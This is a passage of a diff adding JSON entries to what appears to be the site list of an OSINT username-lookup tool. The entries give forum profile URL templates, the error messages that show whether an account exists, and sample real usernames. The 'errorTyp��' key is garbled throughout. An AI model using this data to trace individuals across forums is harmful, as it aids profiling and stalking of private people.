+ "urlMain": "http://www.thescienceforum.com",
+ "usernameON": "mathman",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_thesimsworldnew": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.thesimsworldnew.ru/index/8-0-{}",
+ "urlMain": "http://www.thesimsworldnew.ru",
+ "usernameON": "Samara",
+ "bad_site": ""
+ },
+ "Forum_thesmartmarks": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://forums.thesmartmarks.com/search/?q={}&type=core_members",
+ "urlMain": "https://forums.thesmartmarks.com",
+ "usernameON": "janusd",
+ "bad_site": ""
+ },
+ "Forum_thewatchsite": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.thewatchsite.com/members/?username={}",
+ "urlMain": "https://www.thewatchsite.com/",
+ "usernameON": "gatsuk",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thewhitewolf": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://thewhitewolf.3dn.ru/index/8-0-{}",
+ "urlMain": "https://thewhitewolf.3dn.ru/",
+ "usernameON": "ttaletpbod",
+ "bad_site": ""
+ },
+ "Forum_thewindowsforum": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://thewindowsforum.com/members/?username={}",
+ "urlMain": "https://thewindowsforum.com",
+ "usernameON": "mook777",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_thrash-attack": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://thrash-attack.ru/index/8-0-{}",
+ "urlMain": "http://thrash-attack.ru",
+ "usernameON": "Manowarrior",
+ "bad_site": ""
+ },
+ "Forum_thule": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://thule.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://thule.ucoz.ru",
+ "usernameON": "jtaletbcse",
+ "bad_site": ""
+ },
+ "Forum_thumpertalk": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.thumpertalk.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://www.thumpertalk.com",
+ "usernameON": "mildride",
+ "bad_site": ""
+ },
+ "Forum_tidalfish": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.tidalfish.com/members/?username={}",
+ "urlMain": "https://www.tidalfish.com",
+ "usernameON": "longtail",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_tigerdata": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://forum.tigerdata.com/forum/u/{}/summary",
+ "urlMain": "https://forum.tigerdata.com",
+ "usernameON": "ts101",
+ "bad_site": ""
+ },
+ "Forum_tights4men": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://time-paradox.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://time-paradox.ucoz.ru",
+ "usernameON": "uliaandreeva149",
+ "bad_site": ""
+ },
+ "Forum_timich": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://timich.ru/index/8-0-{}",
+ "urlMain": "http://timich.ru",
+ "usernameON": "rektie",
+ "bad_site": ""
+ },
+ "Forum_titanquest": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://titanquest.org.ua/index/8-0-{}",
+ "urlMain": "https://titanquest.org.ua",
+ "usernameON": "Jack",
+ "bad_site": ""
+ },
+ "Forum_tk_do": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://tk.do.am/index/8-0-{}",
+ "urlMain": "https://tk.do.am",
+ "usernameON": "romzik3",
+ "bad_site": ""
+ },
+ "Forum_tks": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "временно приостановлен",
+ "errorTyp��": "message",
+ "url": "https://forum.tks.ru/member.php?username={}",
+ "urlMain": "https://forum.tks.ru/",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Forum_tlm": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://tokiogirl.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://tokiogirl.ucoz.ru",
+ "usernameON": "iisus1996",
+ "bad_site": ""
+ },
+ "Forum_tolkienist": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://tolkienist.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://tolkienist.ucoz.ru",
+ "usernameON": "Банту",
+ "bad_site": ""
+ },
+ "Forum_tomtom": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.tomtomforums.com/members/?username={}",
+ "urlMain": "https://www.tomtomforums.com",
+ "usernameON": "silberpfeil",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_tootimid": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://forums.tootimid.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forums.tootimid.com",
+ "usernameON": "eagle143",
+ "bad_site": ""
+ },
+ "Forum_topeleven": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This user has not registered",
+ "errorMsg2": "Top Eleven Forum ",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forum.topeleven.com/member.php?username={}",
+ "urlMain": "https://forum.topeleven.com",
+ "usernameON": "Taliyah25",
+ "bad_site": ""
+ },
+ "Forum_topgold": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://topgold.forum/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://topgold.forum/",
+ "usernameON": "Resolve",
+ "bad_site": ""
+ },
+ "Forum_topgoldforum": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "There were no results for your search",
+ "errorTyp��": "message",
+ "url": "https://topgoldforum.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://topgoldforum.com",
+ "usernameON": "symphonizedbm",
+ "bad_site": ""
+ },
+ "Forum_topteam": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://topteam.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://topteam.ucoz.ru",
+ "usernameON": "Spinne",
+ "bad_site": ""
+ },
+ "Forum_toribash": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This user has not registered and therefore does not have",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forum.toribash.com/member.php?username={}",
+ "urlMain": "https://forum.toribash.com/",
+ "usernameON": "s1lvered",
+ "bad_site": ""
+ },
+ "Forum_tornado": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.tornado.ws/u/{}/summary",
+ "urlMain": "https://forum.tornado.ws",
+ "usernameON": "sean",
+ "bad_site": ""
+ },
+ "Forum_torquecars": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.torquecars.com/forums/members/?username={}",
+ "urlMain": "https://www.torquecars.com",
+ "usernameON": "mrmacbirch",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_tortik": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "https://tortik.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://tortik.ucoz.ru",
+ "usernameON": "ggdrEmodyz",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_tosdr": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://tosdr.community/u/{}/summary",
+ "urlMain": "https://tosdr.community",
+ "usernameON": "shadowwwind",
+ "bad_site": ""
+ },
+ "Forum_totallympics": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://totallympics.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://totallympics.com",
+ "usernameON": "josh",
+ "bad_site": ""
+ },
+ "Forum_totalrl": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.totalrl.com/forums/index.php?/search/&q={}&quick=1&type=core_members",
+ "urlMain": "https://www.totalrl.com",
+ "usernameON": "bobbruce",
+ "bad_site": ""
+ },
+ "Forum_touchussuri": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://touchussuri.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://touchussuri.ucoz.ru",
+ "usernameON": "staletpuhh",
+ "bad_site": ""
+ },
+ "Forum_tour": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://tourum.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA",
+ "urlMain": "https://tourum.net",
+ "usernameON": "etolmacheff",
+ "comments": "bad",
+ "bad_site": ""
+ },
+ "Forum_touringplans": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.touringplans.com/u/{}/summary",
+ "urlMain": "https://forum.touringplans.com",
+ "usernameON": "heathernoel",
+ "bad_site": ""
+ },
+ "Forum_tourtrans": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forum.tourtrans.ru/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forum.tourtrans.ru",
+ "usernameON": "Evgeniya",
+ "bad_site": ""
+ },
+ "Forum_toyotanation": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.toyotanation.com/members/?username={}",
+ "urlMain": "https://www.toyotanation.com",
+ "usernameON": "dna59",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_traceryoffate": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This user does not exist.",
+ "errorMsg2": "Sorry, page not found",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://traceryoffate.com/forum/profile/{}/",
+ "urlMain": "https://traceryoffate.com",
+ "usernameON": "sentinel",
+ "bad_site": ""
+ },
+ "Forum_tracfone": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.tracfoneforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://www.tracfoneforum.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Forum_trackchecker": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Информация",
+ "errorMsg2": "Подходящих тем или сообщений не найдено.",
+ "errorTyp��": "message",
+ "url": "https://forum.trackchecker.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.trackchecker.ru",
+ "usernameON": "f2065",
+ "bad_site": ""
+ },
+ "Forum_tractorbynet": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.tractorbynet.com/forums/members/?username={}",
+ "urlMain": "https://www.tractorbynet.com",
+ "usernameON": "bmaverick",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_trade-print": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "content=\"noindex,follow",
+ "errorTyp��": "message",
+ "url": "http://forum.trade-print.ru/member.php?username={}",
+ "urlMain": "http://forum.trade-print.ru",
+ "usernameON": "trioprint",
+ "bad_site": ""
+ },
+ "Forum_trade2win": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.trade2win.com/members/?username={}",
+ "urlMain": "https://www.trade2win.com",
+ "usernameON": "wackypete2",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_tradebrains": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "well-known/sgcaptcha",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://forum.tradebrains.in/u/{}/summary",
+ "urlMain": "https://forum.tradebrains.in",
+ "usernameON": "nikitawaghmare",
+ "bad_site": ""
+ },
+ "Forum_traderji": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.traderji.com/community/members/?username={}",
+ "urlMain": "https://www.traderji.com/",
+ "usernameON": "arunbalan",
+ "comments": "bad",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": 1
+ },
+ "Forum_traderslaboratory": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "NotFound",
+ "errorTyp��": "message",
+ "url": "http://www.traderslaboratory.com/forums/search/?q={}&type=core_members",
+ "urlMain": "http://www.traderslaboratory.com",
+ "usernameON": "fxeconomist",
+ "bad_site": ""
+ },
+ "Forum_tradingqna": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://tradingqna.com/u/{}/summary",
+ "urlMain": "https://tradingqna.com",
+ "usernameON": "akashkb",
+ "bad_site": ""
+ },
+ "Forum_tradtalk": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.tradtalk.com/members/?username={}",
+ "urlMain": "https://www.tradtalk.com/",
+ "usernameON": "lumis17",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_trainerroad": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.trainerroad.com/forum/u/{}/summary",
+ "urlMain": "https://www.trainerroad.com",
+ "usernameON": "joex",
+ "bad_site": ""
+ },
+ "Forum_transit-club": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://transit-club.com/index/8-0-{}",
+ "urlMain": "http://transit-club.com",
+ "usernameON": "Gidanov",
+ "bad_site": ""
+ },
+ "Forum_trassa": {
+ "country": "🇧🇾",
+ "country_klas": "BY",
+ "errorMsg": "Информация ",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://trassa.by/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA",
+ "urlMain": "https://trassa.by",
+ "usernameON": "admin",
+ "bad_site": ""
+ },
+ "Forum_travel": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Поиск не дал результатов",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.travel.ru/community/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_app_filters[forums][sortKey]=date&search_content=both&search_app_filters[forums][noPreview]=1&search_app_filters[forums][pCount]=&search_app_filters[forums][pViews]=&search_app_filters[forums][sortKey]=date&search_app_filters[forums][sortDir]=0&search_app_filters[forums][searchInKey]=&search_term=&search_app=forums&search_app_filters[forums][searchInKey]=&search_app_filters[forums][sortKey]=title&search_app_filters[forums][sortDir]=0",
+ "urlMain": "https://www.travel.ru",
+ "usernameON": "larsen099",
+ "comments": "ERR_TE",
+ "bad_site": 1
+ },
+ "Forum_travel_do": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://travel.do.am/index/8-0-{}",
+ "urlMain": "https://travel.do.am",
+ "usernameON": "askutov123",
+ "bad_site": ""
+ },
+ "Forum_travel_my1": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://travel.my1.ru/index/8-0-{}",
+ "urlMain": "https://travel.my1.ru",
+ "usernameON": "nbirukova1",
+ "bad_site": ""
+ },
+ "Forum_trekbbs": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.trekbbs.com/members/?username={}",
+ "urlMain": "https://www.trekbbs.com",
+ "usernameON": "ericf",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_trialscentral": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "\\W",
+ "errorMsg": "0 results",
+ "errorMsg2": "0 user",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.trialscentral.com/forums/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://www.trialscentral.com",
+ "usernameON": "choover",
+ "bad_site": ""
+ },
+ "Forum_trimdownclub": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.trimdownclub.com/members/{}/",
+ "urlMain": "https://www.trimdownclub.com",
+ "usernameON": "kellyannsi",
+ "bad_site": ""
+ },
+ "Forum_trinity-ai": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://trinity-ai.at.ua/index/8-0-{}",
+ "urlMain": "https://trinity-ai.at.ua",
+ "usernameON": "apelsinikgzy",
+ "bad_site": ""
+ },
+ "Forum_trmk": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.trmk.org/forums/members/?username={}",
+ "urlMain": "https://www.trmk.org",
+ "usernameON": "ingend1945",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_troitsa": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://troitsa.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://troitsa.ucoz.ru",
+ "usernameON": "Passhikinsky",
+ "bad_site": ""
+ },
+ "Forum_trotting": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://tschkalowo.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://tschkalowo.ucoz.ru",
+ "usernameON": "btaletjwhs",
+ "bad_site": ""
+ },
+ "Forum_tskaro": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://tulaignk.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://tulaignk.ucoz.ru",
+ "usernameON": "prokofjev7",
+ "bad_site": ""
+ },
+ "Forum_tumult": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://forums.tumult.com/u/{}/summary",
+ "urlMain": "https://forums.tumult.com",
+ "usernameON": "daniel",
+ "bad_site": ""
+ },
+ "Forum_tundrasolutions": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.tundrasolutions.com/members/?username={}",
+ "urlMain": "https://www.tundrasolutions.com",
+ "usernameON": "dxrouse",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_tuning_lviv": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Тем або повідомлень, які відповідають вашому запиту, не знайдено.",
+ "errorMsg2": "Інформація",
+ "errorTyp��": "message",
+ "url": "http://tuning.lviv.ua/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://tuning.lviv.ua",
+ "usernameON": "jam",
+ "bad_site": ""
+ },
+ "Forum_tupa-germania": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://forum.tupa-germania.ru/members/?username={}",
+ "urlMain": "https://forum.tupa-germania.ru",
+ "usernameON": "lagrange",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_tur_borda": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://turkmeniya.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://turkmeniya.ucoz.ru",
+ "usernameON": "koleg5992",
+ "bad_site": ""
+ },
+ "Forum_turntoislam": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://turntoislam.com/community/members/?username={}",
+ "urlMain": "https://turntoislam.com",
+ "usernameON": "exceller",
+ "comments": "RUblock",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_tus-wa": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "does not exist.",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.tus-wa.com/profile/{}/",
+ "urlMain": "https://www.tus-wa.com",
+ "usernameON": "TheWalrus",
+ "comments": "super",
+ "bad_site": 1
+ },
+ "Forum_tvnewstalk": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Please wait",
+ "errorMsg2": "0 results",
+ "errorTyp��": "message",
+ "url": "https://forums.tvnewstalk.net/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forums.tvnewstalk.net",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Forum_tvsbook": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.tvsbook.com/members/?username={}",
+ "urlMain": "https://www.tvsbook.com",
+ "usernameON": "jhjg67",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_tvsput": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://tvsput.ru/index/8-0-{}",
+ "urlMain": "http://tvsput.ru",
+ "usernameON": "sickorskyvik",
+ "bad_site": ""
+ },
+ "Forum_tvwbb": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://tvwbb.com/members/?username={}",
+ "urlMain": "https://tvwbb.com",
+ "usernameON": "bruno",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_tw200forum": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.tw200forum.com/members/?username={}",
+ "urlMain": "https://www.tw200forum.com",
+ "usernameON": "drlemonator",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_twilightmovie": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://twilightmovie.ucoz.com/index/8-0-{}",
+ "urlMain": "https://twilightmovie.ucoz.com",
+ "usernameON": "фанатка",
+ "bad_site": ""
+ },
+ "Forum_twilightrussia": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "\\W",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "url": "https://twilightrussia.ru/index/8-0-{}",
+ "urlMain": "https://twilightrussia.ru",
+ "usernameON": "MissElen",
+ "bad_site": ""
+ },
+ "Forum_twospoke": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.twospoke.com/members/?username={}",
+ "urlMain": "https://www.twospoke.com",
+ "usernameON": "stevesmith143",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_type2diabetes": {
+ "country": "🇺🇸",
